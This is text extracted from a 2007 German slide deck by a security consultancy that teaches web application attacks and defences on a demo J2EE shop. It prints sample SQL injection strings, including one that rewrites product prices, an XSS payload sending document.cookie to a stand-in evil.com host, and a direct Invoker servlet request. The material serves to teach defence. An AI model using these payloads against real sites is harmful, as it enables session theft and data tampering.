Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Preview:

Citation preview

Dr. Bruce Sams, GF OPTIMA

bruce.sams@optimabit.de www.optimabit.de

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Über OPTIMAOPTIMA Business Information Technology GmbH isteine Beratungsfirma, spezialisiert auf

Applikationssicherheit und -Entwicklung für

Web Apps

SOA, Web Services & XML

PKI, Identity Management

Single-Sign-On

Wir schaffen Sichere Systeme.

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Definition: Application SecurityModerne Anwendungen sindmodular, komplex undvielschichtig.

Fehler im

Design / Architektur

Implementierung

Deployment & Konfiguration

lassen Schwachstellen fürAngriffe.

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Applikationen sind das Hauptproblem!Circa 77% allerSicherheitsprobleme stammenaus Applikationen!

Gründe:

Kein Sicherheitskonzept für dieArchitektur und die Integrationder Anwendung.

Entwickler und Managerverstehen sich als nicht für dieSicherheit verantwortlich.

Fehler bei der Entwicklung, derKonfiguration und demDeployment.

Quelle: NIST

Source of Security Vulnerabilites

0

5

10

15

20

25

30

35

40

45

Appl

icat

ion

(Clie

nt)

Appl

icat

ion

(Ser

ver)

Ope

ratin

gS

yste

m

Har

dwar

e

Com

mun

icat

ion

Pro

toco

l

Oth

er

Net

wor

kS

tack

Cry

ptog

raph

y

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Erkenne den Feind!

25

28

40

77

82

0 20 40 60 80 100

ForeignCorporations

ForeignGovernments

NationalCompetitors

DisgruntledEmployees

HackersUnbekannteHacker

Angestellte

Konkurrenz

Regierungen

Quelle: CSI/FBI Computer Crime Survey 2005( ~ 500 Companies responding)

Percent

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Sicherheit braucht Know-How

•IDS•IPSEC•Audits

Perimeter Network AppServer

Application

•Firewall•VPN

•Cryptography•Administration

Data Storage

Sicherheitsprobleme in Anwendungen können nur mitKnow-How beseitigt werden.

Produkten Know-How

•Config•Patch•Login

•Coding•Architecture•Integration

Dieser Bereich kann nur mit KNOW-HOW, NICHT mit Produktengesichert werden!

Zu verteidigenderBereich

Technologien

Sichern mit...

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Verteidigungen, die nicht funktionieren

IDS Firewall

SSL

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Hohe Kosten für eine späte KorrekturDie Kosten für eineKorrektur der Softwaresteigen mit der Zeit sehrschnell an.

(belegt durch mehrere Studien)

Fazit: Es ist viel günstiger,für Sicherheit bereits beider Entwicklung zubezahlen, als später.

Cos

t

TimeAnalysis Design Implementation Release Maintenance

1

10

20

30

40

50

Quellen: IBM, NCSP, US-BSI, usw.

Angriffe auf Java & J2EEHacking Cars-Online

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Die Applikation"Cars-Online" ist eine J2EE Applikation, basierend aufServlets, JSPs und einer Datenbank.

Architektur wie Struts (Controller, Action)

Viele der Angriffe funktionieren auch gegen .NET Applikationen

Software Umgebung:

Tomcat 4.1.27

HypersonicSQL 1.7

Angriffe auf Applikationslogik

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Angriff 1: ApplikationslogikOrder ID ist nicht wirklich "zufällig".

Angriff: Andere Order Id erraten, um zu erfahren, wasandere Benutzer bestellt haben.

FORM = "AD4X" + Counter + "N"

Beispiel: AD4X1373N

Order für Bill Gates.

Lustig! Aber wie wäre es mit dem Krankenbild einesPatienten?

Angriffe aufServerkonfiguration

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Angriff 2a: KonfigurationDas Problem:

Jeder Web Container hat seine eigenen Wege, wichtigeKonfigurationen wie Directory Browsing zu kontrollieren.

Die Lösung: eigenes DefaultServlet

Sie nehmen die Konfiguration selbst in die Hand. So sind IhreWeb-Applikationen immun gegen Probleme der

Portierung

Konfiguration

Administration

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Default Servletpublic class DefaultServlet extends HttpServlet {

public void doPost(HttpServletRequest req,HttpServletResponse res)throws ServletException, IOException {

String context = req.getContextPath();res.sendRedirect(context + "/error/default.jsp");

}

...

}

Dieses Servlet leitet direktzu einem ErrorPage

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Beispiel: Sichere Konfiguration<servlet>

<servlet-name>MyDefault</servlet-name><servlet-class>org.x.DefaultServlet</servlet-class>

</servlet>

<servlet-mapping><servlet-name>MyDefault</servlet-name><url-pattern>/</url-pattern>

</servlet-mapping>

Dieses Servlet leitet direktzu einem ErrorPage

Mapping zum "/"

Angriffe auf Datenbanken

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Was ist SQL Injection?SQL Injection bedeutet SQL Ausdrücke am Client zuformulieren und dem Server "einzuspritzen".

SQL-Injektion basiert hauptsächlich auf

Implementierungs-Logik,SELECT, INSERT, StoredProcedures

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

SQL Injection (1 = 1 Angriff)Der Angreifer erzeugt einen String, der die vermeinteSELECT-Kriterien aushebelt.

Beispeil: Ein E-Business mit online Verkaufübernimmt eine Bestellnummer vom Anwender undbaut daraus:

SELECT * FROM orders WHERE ORDERID = XXX

Ein Angreifer gibt folgendes ein:123456' OR '1'='1

Dieser Ausdruck ist für jede Reihe in der Tabelle Wahr.

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

SQL Injection (Ausdruck-Verkettung)Viele SQL-Dialekte erlauben es, mehrere SQL-Ausdrücke mittels ";" zu verketten.

Der Angreifer hängt ein "extra" SQL-Befehl an einenormale Eingabe an. Z.B.

Vermutung: SQL Ausdruck wie

"SELECT * FROM PRODUCTSWHERE DESCRIPTION LIKE '%" + XXX + "%'";

Angriff versuchen wo "XXX" istLambo%'; UPDATE PRODUCTS SET PRICE=1.0 WHEREDESCRIPTION LIKE '%Lambo

Angriffe auf Sessions

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Session Hijacking

Client 1

Server

Client N

.

.

.

Session C1

Session CN

Zustand C1Zustand CN

sid = ABJ78

sid = ABJ78

sid =12UIOR

sid =12UIOR

Eine Session speichertInformation als Instanzenvon JavaBeans.

Die Session ID wird mitjedem Request übertragen.

Evil Hacksid = ABJ78

Session Hijacking!

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Session HijackingTeillösungen:

Mit <session-timeout> in der web.xml können Sie alteSessions automatisch löschen, z.B.

<session-timeout>10</session-timeout>

Die Applikation kann eine "logout" Möglichkeit haben.

Die Session ID gegen Client IP überprüfen. (Problem mitProxies). Servlet Filter API ist für dieses Problem gut.

Lösung:

Sichere Verbindung mit HTTPS.

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Trennung von Sicheren VerbindungenNeues Problem:

Ein Benutzer wechselt sein Protokoll von HTTPS auf HTTP.

Neue Lösungen:

Die GESAMTE Applikation muss unter HTTPS sein.

Die Session muß gelöscht bzw. modifiziert werden.

Cross-Site Scripting

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Was ist Cross Site Scripting?Cross Site Scripting (XSS) nutzt die Ausführung vonJavaScript in HTMP Seiten, um Session-Informationvon Clients zu stehlen.

Grundlagen:

JavaScript wird im Browser "ausgeführt", wo auch immer eserscheint.

Die Website gibt Benutzereingabe wieder aus, ohne diese erstzu "bereinigen"

Es braucht mindestens 3 Parteien

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Was ist Cross Site Scripting?JavaScript Ausdrücke werden vom Angreifer inEingabefeldern plaziert.

Auswertung geschieht nicht am Server sondern amattakierten Client.

HTML-Form Server

BusinessLogicInput field

Angreifer gibt JavaScriptein.

Business Logic spiegeltEingabe zurück.

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

XSS AngriffAngenommen, wir rufen eine Website auf über HTTP:

GET/myservlet?name=<script> ... </script> HTTP/1.0Host: www.schwachstelle.de

...

Der Server antwortet mit:<HTML><body>Hallo, <script> ... </script> !...</HTML>

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Angriff 4: Cross-Site ScriptingMittels Cross-Site Scripting (XSS) können Angreiferdie Cookies und SessionIDs Ihrer Kunden stehlen.

Vulnerability: Die Applikation gibt Benutzereingabe inHTML ungefiltert zurück.

Dear <%= request.getParameter("name") %>, Thank youfor your order.

Angriff versuchen wo „name" ist<script>alert(document.cookie)</script>

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

XSS Angriff (2)Andere Strings können benutzt werden, um den Wertdes Cookies weiterzuleiten, z.B,:

<script>window.open("http://www.evil.com/cookiestealer?cookie="+document.cookie)</script>

Client Server

Angreifer

2) Angreifer sendetMail an Client

1) Client benutzt Server

4) JavaScript sendetCookie an Angreifer

3) Client ruft Servermit JavaScript auf

Sicherheitseinstellungenumgehen

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Interceptors und Sicherheit

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Invoker ServletDas Invoker Servlet bietet einen Weg, ein Servlet überseine FQN aufzurufen.

Man benutzt den "servlet" context und dann den FQN derKlasse:http://server:port/servlet/com.example.FooController

Das Invoker Servlet ist aus Kompatibilitätsgründen immer nochin vielen Containern vorhanden.

WARNUNG!

Servlets, die über den Invoker aufgerufen werden, ignorierendie <security-constraints> in der web.xml

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Angriff 6: Invoker ServletDer Angreifer ruft den Kontroller direkt auf.

Setzen:

name : Hugoaddress : Foostr123ccnumber : 12345product : Ferrariquantity : 3shipping : DHL

#der komplette Aufruf!

http://192.168.1.26:8080/websales/servlet/web.sales.ControllerServlet?action=confirm&name=Hugo&address=Foostr123&ccnumber=12345&product=Ferrari&quantity=3&shipping=DHL

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Defense in DepthDie "Defense in Depth" Strategie beschreibt einvielschichtiges Sicherheitskonzept.

Viele Schichten erschweren einen kompletten Durchbruch.

Schichten in alten Schlössern:

Wasser & Terrain

Zugbrücke

Steinmauer, Brüstungen

Kochendes Öl, Pfeile

Rettungsturm

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Security Assurance Maßnahmen1. Policies und Guidelines

2. Hardening Guides

3. Code & Architektur Review

4. Penetration Test

5. Entwicklung von Sicherheitskonzepten &Lösungen

6. Weiterbildung für Entwickler und Manager

7. Sicheres Outsourcing

8. Sicherheit im Entwicklungsprozess(sicheres SDLC)

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

DiensteAuditierung und Review

•Architektur Review•Code Review•Penetration Test

Strategische Maßnahmen

•Policies•Integration von Sicherheit in der Entwicklung•Seminare und "Awareness" Veranstaltungen

Projektunterstützung

•Projektbegleitung und -Beratung•Entwicklung von Sicherheitskonzepten•Entwickler Guidelines

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

ZusammenfassungDanke für die Aufmerksamkeit!

KONTAKT:

bruce.sams@optimabit.com

Recommended